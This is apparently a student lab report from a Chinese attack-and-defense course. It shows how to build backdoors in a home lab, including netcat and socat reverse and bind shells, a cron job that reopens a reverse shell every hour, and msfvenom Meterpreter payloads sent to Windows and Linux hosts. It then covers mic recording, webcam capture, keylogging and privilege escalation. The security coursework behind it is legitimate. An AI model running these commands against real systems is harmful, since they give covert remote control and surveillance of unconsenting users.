20222410 2024-2025-1 《网络与系统攻防技术》实验二实验报告

Lelouch123 / 2024-10-18 / 原文

1.实验内容

  • 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
    PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.实验过程

2.1 使用netcat获取主机操作Shell,cron启动某项任务

2.1.1 获取IP地址

因为本次实验需要演示两主机间互相连接、反弹连接、注入后门等操作,因此需要先查询主机ip地址。
Windows:打开cmd窗口,输入ipconfig
查询到本机ip地址为192.168.1.14

Linux:打开命令行窗口,输入ifconfig

查询到虚拟机IP地址为192.168.136.132

2.1.2 Windows获取Linux Shell

本实验使用的端口号均为本人学号:2410

  • Windows用命令 ncat.exe -l -p 2410 监听2410端口,等待其他机器连接该端口。
  • kali使用命令 nc 192.168.1.14 2410 -e /bin/sh 反弹连接Windows,提供自己的shell(192.168.1.14为Win的IP)
  • Windows获得了linux的shell,可以执行linux的相关命令,例whoami,如图。
    whoami 是一个在 Linux 和其他类 Unix 操作系统中使用的命令。它的主要功能是显示当前登录用户的用户名。

2.1.3 通过设置cron使得kali启动定时任务

用指令 crontab -e 编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择2,利用vim编辑器进行编辑。

点击“i”进入编辑模式,在最后一行添加 24 * * * * /bin/netcat 192.168.1.14 2410 -e /bin/sh,意思是每小时的24分会反向连接Windows的2410端口。

按Esc键退出编辑模式,输入 :wq 保存并退出。

等待至24分后,Windows获得Linux的shell,可执行相关命令,例pwd。

2.2 使用socat获取主机操作Shell, 任务计划启动

2.2.1 man socat 查看socat使用说明

2.2.2 在Windows下,打开计算机管理,新建任务计划


在操作选项中,选择“创建任务”,填写任务名称网络与系统攻防技术实验2

新建操作,选择启动的程序为
socat.exe,参数项填写 tcp-listen:2410 exec:cmd.exe,pty,stderr
含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上
同时新建触发器,设置在2024/10/17 11:20分触发

创建完成之后,选择创建的任务点击操作选项的“运行”,任务的状态成为“正在运行”。

在kali终端输入指令 socat - tcp:192.168.1.14:2410,此时Linux监听中

等待预定时间2024/10/17 11:20,Windows启动任务,socat.exe运行

Linux获得Windows Shell

2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

2.3.1 生成后门

Kali命令行中输入以下命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.132 LPORT=2410 -f exe > 20222410_backdoor.exe

在Linux环境下,通过设置LHOST(Kali的IP,即Windows主动连接的反弹IP)和LPORT(回连端口),使用msfvenom工具生成一个Windows反向TCP Meterpreter有效载荷(payload)。这个有效载荷被封装成exe文件类型,并输出为“20222410_backdoor.exe”。此过程实现了从Windows系统到Kali Linux系统的反向连接后门。

2.3.2 将生成的后门传送到Windows主机上

在Windows上监听2410端口等待接收可执行文件20222410_backdoor.exe
ncat.exe -lv 2410 >20222410_backdoor.exe

在Kali上将生成的20222410_backdoor.exe传送给Windows
nc 192.168.1.14 2410 < 20222410_backdoor.exe

2.3.3 进入msf控制台进行配置

在kali上使用 msfconsole 命令,进入msf控制台。

配置监听模块

use exploit/multi/handler  //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.136.132  //KaliIP,和生成后门程序时指定的IP相同
set LPORT 2410	//设置本主机的端口


输入 exploit 运行模块;在Windows上运行后门程序20222410_backdoor.exe

查看kali,发现获得了Windows主机的连接,得到了远程控制的shell,可执行相关命令,如dir

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.4.1 获取目标主机音频、摄像头、击键内容等内容

获取目标主机的音频和截屏内容

record_mic    //音频
screenshot    //截屏


使用命令 webcam_snap 可以获取摄像头所拍摄的照片
这里我拍的是我的手机壳

在kali上输入指令 keyscan_start ,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令keyscan_dump ,就可以读取键盘记录
在Windows上新建了一个文本文档,随便输入了一串字符:Hello world

2.4.2 提权

先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权。

发现提权失败,经过反复实验,发现需要以管理员身份运行后门程序,才能提权。
以管理员身份运行20222410_backdoor.exe,然后再试一次,成功提权。

2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.136.132 LPORT=2410 -x /home/yinhao/桌面/20222410 -f elf > 20222410_pwn生成以这个20222410文件格式为模板的shellcode文件20222410_pwn

输入指令msfconsole,进入msf命令行

use exploit/multi/handler    //进入handler模式
set payload linux/x86/meterpreter/reverse_tcp  //对应生成的后门程序设置payload
show options  //查看当前信息状态
set LHOST 192.168.136.132 //设置LHOST,其中ip为攻击者Linux的ip
set LPORT 2410 //设置LPORT
exploit //启动监听

打开一个新的Shell,运行后门文件20222410_pwn,在kali中执行文件前应先加权限 chmod +x 20222410_pwn

此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell,执行ls等命令。

3.问题及解决方案

  • 问题1:XXXXXX
  • 问题1解决方案:XXXXXX
  • 问题2:XXXXXX
  • 问题2解决方案:XXXXXX - ...

4.学习感悟、思考等

xxx xxx